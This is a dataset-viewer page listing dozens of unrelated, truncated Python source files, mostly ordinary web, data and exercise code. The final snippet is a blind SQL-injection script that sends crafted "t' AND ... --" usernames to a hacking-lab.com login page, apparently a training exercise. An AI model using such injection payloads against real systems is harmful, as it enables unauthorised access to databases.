text stringlengths 38 1.54M |
|---|
###
### This file is part of Pyffle BBS.
###
### Pyffle BBS is free software: you can redistribute it and/or modify
### it under the terms of the GNU General Public License as published by
### the Free Software Foundation, either version 3 of the License, or
### (at your option) any later version.
###
##... |
# -*- coding: utf-8 -*-
from odoo import models, fields, api
from odoo.exceptions import UserError
import xlrd,base64,datetime
class ImportWizard(models.TransientModel):
_name = 'import.wizard'
name = fields.Char(default=u'导入excel', string=u'')
data = fields.Binary(string=u'文件')
# 数据导入
@api.mult... |
from django import forms
#from django.contrib.auth.models import User
from django.contrib.auth.forms import UserCreationForm
#Need the next two lines because my User is actually accounts.User.
from django.contrib.auth import get_user_model
User = get_user_model()
#This is where to add extra fields to the user signup f... |
from django.contrib import admin
from .models import Profile
from .models import Stuff
@admin.register(Profile)
class ProfileAdmin(admin.ModelAdmin):
list_display = ('id', 'external_id', 'tg_username', 'first_name',
'last_name', 'contact')
@admin.register(Stuff)
class StuffAdmin(admin.ModelAdmin):
... |
#!/usr/bin/env python
import httplib
import urllib
import sys,os
import datetime
def makeRequest(url,params):
encodedParams = urllib.urlencode(params)
headers = {"Content-type": "application/x-www-form-urlencoded",
"Accept": "text/plain"}
#conn = httplib.HTTPSConnection(url, cert_fi... |
"""This module contains tournament_sort and other helper functions.
You can run a test using this command:
python3 -m doctest tournament_sort.py -v
or just
python3 tournament_sort.py [--verbose]
"""
# This module can be executed as module and script and by doctest.
if __name__ == "__main__" or __name__ == "tournamen... |
#!/usr/bin/python
import cgi, cgitb, os, commands
cgitb.enable()
print "Content-type: text/html \n\n"
#data=cgi.FieldStorage()
##############################################################
name= 'cent_os5'
ram= '512'
core= '1'
port= '8991'
machine_id= 'first'
#name=data.getvalue('os_name')
#ram=data.getvalue('ram'... |
def main():
t = int(input()) # read a line with a single integer
for i in range(1, t + 1):
n = int(input())
print(("Case #{}: " + solve_problem(n)).format(i))
# print("Case #{}: {} {}".format(i, n + m, n * m))
def solve_problem(n):
pass
if __name__ == '__main__':
main()
|
from unittest import skip
from django.test import TestCase
from mapstory.models import ContentMixin
class TestContentMixin(TestCase):
def setUp(self):
self.contentMixin = ContentMixin(content="<a href=%s target='_'>")
def test_import(self):
self.assertIsNotNone(ContentMixin)
@skip("Fix t... |
from django.shortcuts import render_to_response
def login(request):
return render_to_response("index.html")
def Pagina_Principal(request):
return render_to_response("Principal.html")
def Registro_Usuario(request):
return render_to_response("Registro.html")
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import division
import sys
sys.path.append("/Services/ElasticsearchWatcher/config")
import datetime, db, sendMail, logMaster, sourceCalc, ConfigParser, os, time, hashlib, math, re, sys
# ConfigParser object create
config = ConfigParser.ConfigPar... |
# Aaron Donnelly
# Computing the primes.
# My list of comments to TBD
P = []
#Loop through all of the numbers we're checking for primality.
for i in range (2,10000):
# Assume that i is a prime
isprime = True
# Loop through all values from 2 up to but not including
for j in range(2,i):
# See if... |
try: # pre 1.6
from django.conf.urls.defaults import url, patterns
except ImportError:
from django.conf.urls import url # after 1.8
from .views import ajaximage
urlpatterns = [
url(
'^upload/(?P<upload_to>.*)/(?P<max_width>\d+)/(?P<max_height>\d+)/(?P<crop>\d+)/(?P<valid_width>\d+)/(?P<valid_he... |
"""
stanCode Breakout Project
Adapted from Eric Roberts's Breakout by
Sonja Johnson-Yu, Kylie Jue, Nick Bowman,
and Jerry Liao
Bricks Breakout Game!
Three lives and let's see how good you are!
author: sheng-hao wu
description: class/object/method defined file
"""
from campy.graphics.gwindow import GWindow
from campy... |
import cv2 as cv
import numpy as np
image = cv.imread('/home/ash/opencv_projects/images/book.jpeg')
# color filtering
# cap = cv.VideoCapture(0)
# while True:
# ret,frame = cap.read()
# hsv = cv.cvtColor(frame,cv.COLOR_BGR2HSV)
# lower_red = np.array([10,130,140])# 5,230,230 for blue the values inside... |
# -*- coding: iso-8859-15 -*-
"""
Normalize street name using Italian OSM conventions:
https://wiki.openstreetmap.org/wiki/IT:Key:name
Copyright (C) 2014-2015 Andrea Musuruane <musuruan@gmail.com>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Publi... |
def reponse():
"""Réponse à l'exo 6"""
S = 0
n = 1
# S = u_{n-1}
while S < 1000:
# S = u_{n-1}
S = S + n**(-.5)
# S = u_n
n = n+1
# S = u_{n-1}
# S = u_{n-1} et c'est la première valeur de u >=1000
return n-1
def valeur_u(n):
"""Ren... |
# Copyright (C) 2019 Cancer Care Associates
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to ... |
try:
from django.core.exceptions import ImproperlyConfigured
except ImportError:
ImproperlyConfigured = ImportError
try:
from .base import ViewSet
from .model import ModelViewSet
# Allows to see module metadata outside of a Django project
# (including setup.py).
except (ImportError, ImproperlyConfigure... |
def main(N , A) :
A.sort()
for i in range(N - 1) :
if A[i] == A[i + 1] :
return "NO"
return "YES"
N = int(input())
A = list(map(int , input().split()))
print(main(N , A)) |
from pydantic import BaseModel, validator
import re
import os.path
class TranslationModel(BaseModel):
metadata: list
content_data: list
language: str
draft_by: str
slug: str
permalink: str
created_by: str
allowed_children: str
title: str
is_published: str
file: str
@va... |
__author__ = 'cboys'
import re
import json
import sys
##########################################################
##
## features_parser.py
##
## Code to parse and store the user features
## from the Kaggle Facebook egonets data.
## Take features.txt as input and output a list of
## key-value dictionaries, one for each ... |
import os
from typing import Any
from unittest import TestCase
from service.steam.model import SteamUserProfile, SteamMembersPage, SteamGroupMember, SteamErrorPage
from service.steam.parsers import SteamUserProfilePageParser, SteamParserError, SteamMembersPageParser, SteamErrorPageParser, \
NoPageParser
class My... |
import os
import h5py
import numpy as np
import numpy.ma as ma
import argparse
import sys
#path to mother scripts
sys.path.append('/home/a/antonio-costa/theory_manuscript/')
import new_op_calc as op_calc
import time
from scipy.sparse import csr_matrix,lil_matrix
from scipy.integrate import trapz
def get_model(labels,d... |
"""
QBO DB Connector Integration Tests
"""
import logging
from test.common.utilities import dict_compare_keys, dbconn_table_row_dict
from .conftest import dbconn
logger = logging.getLogger(__name__)
def test_accounts(qbo_ex, mock_qbo):
"""
Test QBO Extract accounts
:param qbo_ex: qbo_ex extract instance... |
class Solution:
# @param A, a list of integers
# @return an integer
def computeTrap(self, seq, peak):
l = len(seq)
acc = 0
for i in range(1, l - 1):
if peak > seq[i]:
acc = acc + (peak - seq[i])
return acc
def trap(self, A):
deltas = [0]
l = le... |
#!/usr/bin/env python3
from . import tshark
def get_result(input_files, filter, format, output_file):
results = []
for file in input_files:
command = tshark.make_tshark_command(file, filter, format, output_file)
results.append(command)
return {'commands': results}
|
"""
Pipeline to generate ascii files of the MW particles, LMC bound particles and
MW+LMC unbound particles
author: github/jngaravitoc
12/2019
Code Features:
- Compute BFE expansion from a collection of snapshots
- It separates a satellite galaxy from a host galaxy
- Compute COM of satell... |
# https://www.codewars.com/kata/58ba6fece3614ba7c200017f
def is_palindrome_1(number):
if type(number) != int or number < 0:
return 'Not valid'
return str(number) == (str(number))[::-1]
# return str(num) == str(num)[::-1] if type(num) == int and num > 0 else "Not valid"
# print(is_palindrome('5')... |
# -*- coding: utf-8 -*-
"""
Created on Sat Sep 5 19:03:18 2015
@author: lucas
"""
import os
import codecs
from dominio.entidades import Documento
# REVISADO EM 11-09-2015
class ArquivoUtil(object):
"""Documentar
"""
@staticmethod
def ler_documentos(documentos_path, categoria):
"""Lê todos os... |
"""
General utilities used within saucebrush that may be useful elsewhere.
"""
def get_django_model(dj_settings, app_label, model_name):
"""
Get a django model given a settings file, app label, and model name.
"""
from django.conf import settings
if not settings.configured:
setting... |
#!/bin/python
#-*- coding: utf-8 -*-
import os,shutil,sys
import numpy as np
import pylab as pl
import matplotlib.pyplot as plt
from matplotlib.font_manager import FontProperties
x=[1,10,20,30,40,50,60,70,80,90,100]
interest = [10,15,20]
cluster = [200,500]
y=[]
config = []
for k in interest:
for c in cluster:
F ... |
# --*--coding: utf-8--*--
# @Time: 2021/2/15
# @Author: Leander
# @File: 06 守护线程
# from threading import Thread
# import time
#
# def task(name):
# print(f'{name} is running')
# time.sleep(1)
# print(f'{name} is over')
#
# if __name__ == '__main__':
# t = Thread(target=task, args=('egon',))
# t.dae... |
# device only changes the color when the slide switch is in the ON position
import time
import board
import neopixel
from digitalio import DigitalInOut, Direction, Pull
pixels = neopixel.NeoPixel(board.NEOPIXEL, 10)
button_a = DigitalInOut(board.BUTTON_A)
button_a.direction = Direction.INPUT
button_a.pull = Pull.DOW... |
import externalapi
def compute(x, y):
xx = externalapi.remote_compute(x)
yy = externalapi.remote_compute(y)
result = (xx+yy) ** 0.5
return result
|
from urllib.request import Request, urlopen
from bs4 import BeautifulSoup
import pandas as pd
req = Request('https://www.bauruempregos.com.br/home/vagas', headers={'User-Agent': 'Mozilla/5.0'})
html = urlopen(req)#.read()
#html=urlopen('https://www.bauruempregos.com.br/home/vagas') nao funciona ocorre erro 403
#print(h... |
import subprocess
import os
ssh = input("Enter your SSH key name: ")
userName = input("Enter your github username: ")
email = input("Enter your github email: ")
#repo = input("Paste in the github repo that you are working on (with owner name!): ")
repo = ""
with open("remote_origin_url.txt", "w") as file:
#create... |
import sys
def compareX(elem):
return elem[0]
pos = []
# Read in data
f = open('./input.txt')
for idx, line in enumerate(f):
line = line.rstrip('\n')
# print(line)
if idx == 0:
N = int(line)
else:
x, y = line.split()
pos.append([int(x), int(y)])
# print (pos)
visit = [1] ... |
from django.contrib import admin
from .models.user import User
from .models.account import Account
admin.site.register(User)
admin.site.register(Account) |
# Copyright 2015 Ericsson AB
# Copyright (c) 2015 Gigamon
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... |
import os
from flask import jsonify
from flask import Flask, render_template, request
from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
app = Flask(__name__)
DATABASE_URL = 'sqlite:///C:/sqlitedatabase/test1.db';
engine = create_engine((DATABASE_URL))
db = scoped... |
import pickle
import numpy as np
from nn import NN
from image import pre_process, augment
import tensorflow as tf
import itertools
import time
from sklearn.utils import shuffle
import pandas as pd
import cv2
training_file = "data/train.p"
validation_file = "data/valid.p"
testing_file = "data/test.p"
with open(traini... |
from AudioFileManager import *
import numpy as np
sequenceLength = 4775*2
nSnippets = 256
minEpoch = 61000
nEpochs = 800
epochStep = 10
snippetsPerEpoch = 5
nOverlays = 1
nRepeats = 4
def GetSequence():
output = np.zeros(sequenceLength*nSnippets*nRepeats)
for i in range(nSnippets):
epoch = minEpoch + np.random.ra... |
from suds.client import Client
import re
import urllib2
import json
common_words = ['i','you','no','yes','the','it','a',"it's",'its','on','and','my','your','in',"you're","i'm",'is','was','but','what','had','oh','for',
'yeah','yea','me','na','all','to','do','be','this','gonna','know','of','come','like'... |
from L8.board.board import Board
class TicTacToeBoard(Board):
def __init__(self):
super().__init__()
self.init_board()
def init_board(self):
# Initialize a 3x3 board with no tokens
self.current_state = [
[None, None, None] for _ in range(3)
]
def __st... |
class Node:
def __init__(self, data=None, next=None):
self.data = data
self.next = next
def __str__(self):
return str(self.data)
def print_node(node):
print node
def traverse(node, visit):
print "List:"
while node:
visit(node)
node = node.next
def remov... |
# -*- coding: utf-8 -*-
import numpy as np
from hypertools.tools.normalize import normalize
from hypertools.plot.plot import plot
cluster1 = np.random.multivariate_normal(np.zeros(3), np.eye(3), size=100)
cluster2 = np.random.multivariate_normal(np.zeros(3)+100, np.eye(3), size=100)
data = [cluster1, cluster2]
def... |
names = ['Joe', 'Kim', 'Jane', 'Bob', 'Kim']
print(names) # ['Joe', 'Kim', 'Jane', 'Bob', 'Kim']
print(names.remove('Kim')) # None
print(names) # ['Joe', 'Jane', 'Bob', 'Kim']
print(names.remove('George'))
# Traceback (most recent call last):
# File "examples/lists/remove.py", l... |
class Solution:
# @return a string
def convert(self, s, nRows):
result = ''
if nRows == 1:
return s
interval = 2 * (nRows - 1)
times, remainder = divmod(len(s), interval)
for i in range(nRows):
if i == 0 or i == nRows - 1:
for j in ... |
import sys
from collections import defaultdict
from itertools import count
class Trie(object):
def __init__(self, words):
self._node_counter = count(0)
self._root = next(self._node_counter)
self._trie = defaultdict(list)
self._add_words_to_trie(words)
def _add_words_to_trie(se... |
from pox.core import core
import pox.openflow.libopenflow_01 as of
import pox.openflow.nicira as nx
from utils import *
import time
from pox.lib.addresses import EthAddr, IPAddr
from pox.lib.packet.lldp import lldp, chassis_id, port_id, ttl, end_tlv
from pox.lib.packet.ethernet import ethernet
from pox.lib.packet.arp i... |
# -*- coding: cp936 -*-
import random as r
class Fish:
def _init_(self):
self.x = r.randint(0,10)
self.y = r.randint(0,10)
def move(self):
self.x -=1
print ("我的位置是",self.x,self.y)
class Godfish(Fish):
pass
class crap(Fish):
pass
class Salmon(Fish):
pass
class Shark(Fi... |
from django.conf.urls import patterns, include, url
from django.views.generic import RedirectView
# Uncomment the next two lines to enable the admin:
# from django.contrib import admin
# admin.autodiscover()
urlpatterns = patterns('',
url(
r'^games/tic-tac-toe/',
include('apps.tic_tac_toe.urls'... |
import cx_Oracle
class connect:
def getConnection(self):
try:
connection = cx_Oracle.connect('')
#print "Connected to domain successfully"
return connection
except:
print "There was an error while connecting to domain!"
#cur.execute('s... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import time
import urllib2
import utils.gmtTimeUtil as gmtTimeUtil
from yunbi.client import Client, get_api_path
from yunbi.conf import ACCESS_KEY, SECRET_KEY
import sys
reload(sys)
sys.setdefaultencoding('utf8')
class YunUtil():
def __init__(self):
# sel... |
from datetime import date
atual = date.today().year
ano = int(input('informe o ano de nascimento: '))
idade = atual - ano
if idade < 18:
tempo = 18 - idade
print('ainda não está no tempo de se alistar!\nvalta {} ano(s)!'.format(tempo))
saldo = atual + tempo
print('Seu alistamento será em {}'... |
# -*- coding: utf-8 -*-
"""
Created on Mon Dec 12 20:26:26 2016
@author: rossm
Introduction to Computation and Programming Using Python
Finger Exercise 3.2
Summing Input Strings
"""
counter = 0
sum = 0
reals = [1.23,2.4,3.123]
for n in range(3):
sum = sum + reals[counter]
counter = counter + ... |
# -*- coding:utf-8 -*-
from bs4 import BeautifulSoup
#加载构建soup对象
soup = BeautifulSoup(open("index.html"),"lxml")
#备注:bs4通过soup对象直接操作标签:检查文档中是否包含这个标签
#如果要查询文档中的所有指定标签,请使用DOM查询
#1.获取标签对象
#title标签
print(soup.title) #<title>Xpath测试</title>
#2.操作标签的属性
print ('-*-'*10)
print(soup.h1.attrs)
print(soup.h1.attrs["id"])
p... |
#!/bin/python
def AllDigitsFound(d):
r=True
for b in d:
r = r and b
return r
def SplitDigits(n):
result=[]
while n != 0:
result.append(n%10)
n/=10
return result
def CountSheep(n):
digits=[False]*10
count = 1
while not AllDigitsFound(digits) and count < 100000:
num = n * count
numdigits = SplitDigi... |
from sys import path; path += [".", ".."] # hacky...
from utils import *
if __name__ == "__main__":
ciphertexts = map(dehex, load_data("4.txt").split("\n"))
keyspace = list(range(0x100))
plaintexts = reduce(op.add, [
[xor(ct, [key]) for key in keyspace]
for ct in ciphertexts
])
best_plaintext = min(plaint... |
# Generated by Django 3.0.3 on 2020-05-11 20:27
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('miscosas', '0002_auto_20200507_0013'),
]
operations = [
migrations.AddField(
model_name='alimentador',
name='puntuac... |
# Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:
numList = []
currentNode1 = l1
currentNode2 = l2
while currentNode1... |
#Problem Statement: Perform table join by location of 2 shapefile
#Step 1: Load the shapefile
filepath="/home/abhishek/Desktop/M.Sc-GIS/data/natural_earth_vector/110m_cultural/ne_110m_populated_places.shp"
shp=QgsVectorLayer(filepath,"Pop","ogr")
QgsProject.instance().addMapLayer(shp)
filepath="/home/abhishek/Desktop... |
#!/usr/bin/env python
import sys
import os
import csv
dir_name = sys.argv[1]
# get file list
file_list = []
for root, dirs , files in os.walk(dir_name, True):
for file in files:
file_list.append("%s/%s"%(root,file))
total_file_size = 0
# get total file size
for file in file_list:
file_size = os.path.... |
ll=list(map(str,input().split()))
cc=0
for i in range(len(ll[0])):
if(ll[0][i]!=ll[1][i]):
c+=1
bb=int(ll[2])
if(c==bb):
print("yes")
else:
print("no")
|
from flask import Flask, render_template, request
import requests
import sys
import json
import datetime
API_key = "????" # create api key on https://openweathermap.org/api
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/", methods=["POST"])
def add_city():... |
species(
label = 'CCC([O])C([O])O(11392)',
structure = SMILES('CCC([O])C([O])O'),
E0 = (-220.767,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2750,2850,1437.5,1250,1305,750,350,2750,2800,2850,1350,1500,750,1050,1375,1000,3615,1277.5,1000,1380,1383.33,1386.67,1390,370,373.333,376.667,380... |
# -*- coding: utf-8 -*-
"""
Created on Fri Apr 17 12:52:14 2020
@author: Mocki
E-mail : 605095234@qq.com
TO : Art is piece of luxury
"""
import matplotlib.pyplot as plt
from glv import *
class ChkData():
def __init__(self,imu_data):
self.imu_chk = imu_data
self.intv = imu_data.intv
def plot_t... |
import json
import os
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SelectField, SubmitField
from wtforms.validators import ValidationError, DataRequired, Email, EqualTo
from wtforms_alchemy import model_form_factory
from paul.models import User, Card
from paul import db
... |
import io
import requests
from PIL import Image
from bs4 import BeautifulSoup
BASE_URL = "https://scraping-for-beginner.herokuapp.com"
res = requests.get(BASE_URL+"/image")
soup = BeautifulSoup(res.text, "html.parser")
img_tags = soup.find_all("img")
for i, img_tag in enumerate(img_tags):
img_url = BASE_URL + im... |
#!/usr/bin/python
from pychartdir import *
def createChart(chartIndex) :
# The value to display on the meter
value = 75.35
# Create a LinearMeter object of size 260 x 80 pixels with black background and rounded corners
m = LinearMeter(260, 80, 0x000000)
m.setRoundedFrame(Transparent)
# Set t... |
__all__ = ("ConcentrationKlypin11",)
from . import Concentration
class ConcentrationKlypin11(Concentration):
"""Concentration-mass relation by `Klypin et al. 2011
<https://arxiv.org/abs/1002.3660>`_. This parametrization is only
valid for S.O. masses with :math:`\\Delta = \\Delta_{\\rm vir}`.
Args:
... |
#coding:utf8
import time
def req_IO():
print("start_IO")
time.sleep(5)
print("IO_end")
return "IOisEnd"
def req_a():
print("start_A")
ret = req_IO()
print("ret:%s" % ret)
print("A_end")
def req_b():
print("start_B")
print("end_B")
def main():
#模拟tornado框架
req_a()
... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#cangye@hotmail.com
"""
=====================
sequence-loss
=====================
交叉熵损失函数辅助函数
简化编程流程
"""
import tensorflow as tf
import numpy as np
v1 = tf.constant([[1, 0, 0],
[0, 1, 0],
[0, 0, 1],
[0, 10... |
import openpyxl
wb = openpyxl.Workbook()
sheet = wb.active
sheet.title = 'mm'
sheet['A1'] = '明明'
row = [['爬虫1','爬虫2','爬虫3'],['爬虫4','爬虫5','爬虫6']]
for i in row:
sheet.append(i)
print(row)
wb.save("mm.xlsx") |
from collections import deque
import copy
from hashlib import md5
from pathlib import Path
import time
import numpy as np
data_folder = Path(__file__).parent.resolve()
def shortest_path(passcode, grid_size=4):
initial_pos = (0, 0)
path = ""
queue = deque([(initial_pos, path)])
while len(queue) > 0:
... |
from .base_types import *
from .simple_types import *
from .simple_containers import *
from .lazy import *
from .field_container import *
from .reference import *
|
import pandas as pd
from matplotlib import rcParams
import matplotlib.pyplot as plt
import numpy as np
import os
from sklearn.metrics import roc_auc_score, roc_curve
from sklearn.utils import resample
from inspect import signature
from delong import delong_roc_variance, delong_roc_test
from scipy import stats
def pl... |
from django.apps import apps
from django.db.models.base import ModelBase
from .exceptions import (
JSONFieldModelTypeError,
JSONFieldModelError,
JSONFieldValueError
)
class JSONField:
types = (int, float, str, bool)
def __init__(self, field_type=None, required=False, default=None,
... |
class Bok:
def __init__(self, navn, forfatter,aar):
self._navn = navn
self._forfatter = forfatter
self._aar = aar
def hentNavn(self):
return self._navn
def hentAar(self):
return self._aar
def printBok(self):
print("Navnet på boken: ", self._navn, "Forfa... |
def justficador (linea):
if len(linea) > 30:
while len(linea) > 30:
linea += ' '
linea += '\n'
elif len(line) == 30:
linea += '\n'
else:
linea[30] += '\n'
justificador(linea)
print(linea)
justficador("Esta es una cadena de texto de ejemplo de unos 60 ... |
# -*- coding: utf-8 -*-
from .basetoken import BaseToken
class AppTicket(BaseToken):
def __init__(self, appid=None, secret=None):
super(AppTicket, self).__init__(appid=appid, secret=secret)
# 重新推送 app_ticket, Refer: https://open.feishu.cn/document/ukTMukTMukTM/uQjNz4CN2MjL0YzM
self.APP_TI... |
# IMPORT LIBRARIES
import plotly.graph_objs as go
import dash
import dash_bootstrap_components as dbc
import dash_html_components as html
import dash_core_components as dcc
import dash_daq as daq
from dash.dependencies import Input, Output, State
import pandas as pd
import numpy as np
import colorlover as cl
# INITIAL... |
a = 10 > 5
b = 10 < 5
print("a :", a)
print("b :", b)
print("10 5 ten küçük mü ? :", 10 < 5)
print("10 5 ten büyük mü ? :", 10 > 5)
|
import pathlib
import random
import copy
from typing import List, Optional, Tuple
Cell = Tuple[int, int]
Cells = List[int]
Grid = List[Cells]
class GameOfLife:
def __init__(
self,
size: Tuple[int, int],
randomize: bool=True,
max_generations: Optional[float]=float(... |
from redis import Redis
from rq import Queue
import time
q = Queue(connection=Redis())
from my_module import count_words_at_url
result = []
for i in range(10):
result.append(q.enqueue(count_words_at_url, 'http://nvie.com'))
time.sleep(6)
for r in result:
print(r.result)
|
#!/usr/bin/python2
#coding=utf-8
#Invocation:
# ./drawSingleTransmission.py numTransmissionToPlot
# OR
# ./drawSingleTransmission.py path.csv numTransmissionToPlot
# example: ./drawSingleTransmission.py /home/jordan/MEGA/Universita_mia/Magistrale/Tesi/ns3-cluster/ns-3.26/out/scenario-urbano-con-coord/cw-32-1024/Pad... |
import strawberry
from fruit.mutation import FruitMutations
from fruit.query import FruitQueries
from garden.query import GardenQueries
@strawberry.type(description='Root query to house all other queries.')
class RootQuery(FruitQueries, GardenQueries):
""" Root GraphQL query. """
@strawberry.type(description='... |
#!/usr/bin/env python
#coding: utf-8
import json
from models import execute_sql
from models import select_all_result
from models import select_one_result
rememberme='./rememberme'
#def rememberMe(saveuser):
# users = []
# users.append(saveuser)
# with open(rememberme, 'w') as fd:
# fd.write(json.du... |
import os
import configparser
class ConfigReader:
def __init__(self,path):
self.cf = configparser.ConfigParser()
self.cf.read(path)
def getDataSourceType(self):
return self.cf.get("BasicConfig", "dataSourceType")
|
# 猜数字
# 以后注意不要if套if,合适的运用if或while
import random
# import math
num = random.randint(1, 10)
#优化为for循环
for i in range(1, 10):
guess = int(input('请输入1-10的数字:\n'))
if guess != num:
#for循环中的i本身就是自加的
#i = i + 1
if guess > num:
print("Lower please")
else:
print("Greate... |
import base as bs
import modified as md
import base_with_rec as rec
from itertools import combinations
import time
def result_test():
l = ["Январь",
"Февраль",
"Март",
"Апрель",
"Май",
"Июнь",
"Июль",
"Август",
"Сентябрь",
"Октябрь",... |
test = 'test str'
print(test.encode('utf_8')) # 编码
test = bytes('test', encoding='utf_8')
print(test[:2])
# memoryview 用于访问其他二进制序列、打包的数组和缓冲中的数据切片,是共享内存而非复制字节序列
# chardet库可以用于检测字节序列的编码
# 不能依赖默认编码
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2017-09-26 15:49
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('web_soluciones', '0003_itemsolucion'),
]
operations = [
migrations.AlterMod... |
import os
replayList = os.listdir('replays')
#replayList = os.listdir('.')
#replayList.remove('map_counter.py')
for i in range(len(replayList)):
splittedReplayName = replayList[i].split('_')
for l in range(1, len(splittedReplayName)):
if splittedReplayName[-l].isdigit() == True:
... |
# -*- coding: utf-8 -*-
# © 2018 Cousinet Eloi (Open Net Sarl)
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
from odoo import api, fields, models, _
from datetime import datetime
from datetime import timedelta
import logging
_logger = logging.getLogger(__name__)
class Followup(models.Model):
... |
'''This is test module for pushing product
and caculate the mean of product in streaming'''
import os
import tempfile
import unittest
import db
import route
class ProductTestCase(unittest.TestCase):
'''
The class contains all tests:
- Test input
not valid
out ... |
#google
from googlesearch import search
import webbrowser as wb
import text_speech
def play():
text_speech.say("What do you want to listen:")
song = raw_input()
query="play "+song+" sound cloud"
for url in search(query , tld="com", num=1, stop=1, pause=2):
wb.open_new_tab(url)
|
str=raw_input()
[n,mod]=[int(n) for n in str.split()]
ans=1
for i in range(1,n+1):
ans*=i
ans%=mod
print ans
|
#!/usr/bin/python3
import requests
import string
s_space = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation
#assumes account t:t exists
def check_inj(st):
print(st)
r = requests.post("https://blind.idocker.hacking-lab.com/index.php", data={'username':"t' AND " + st +" --",... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.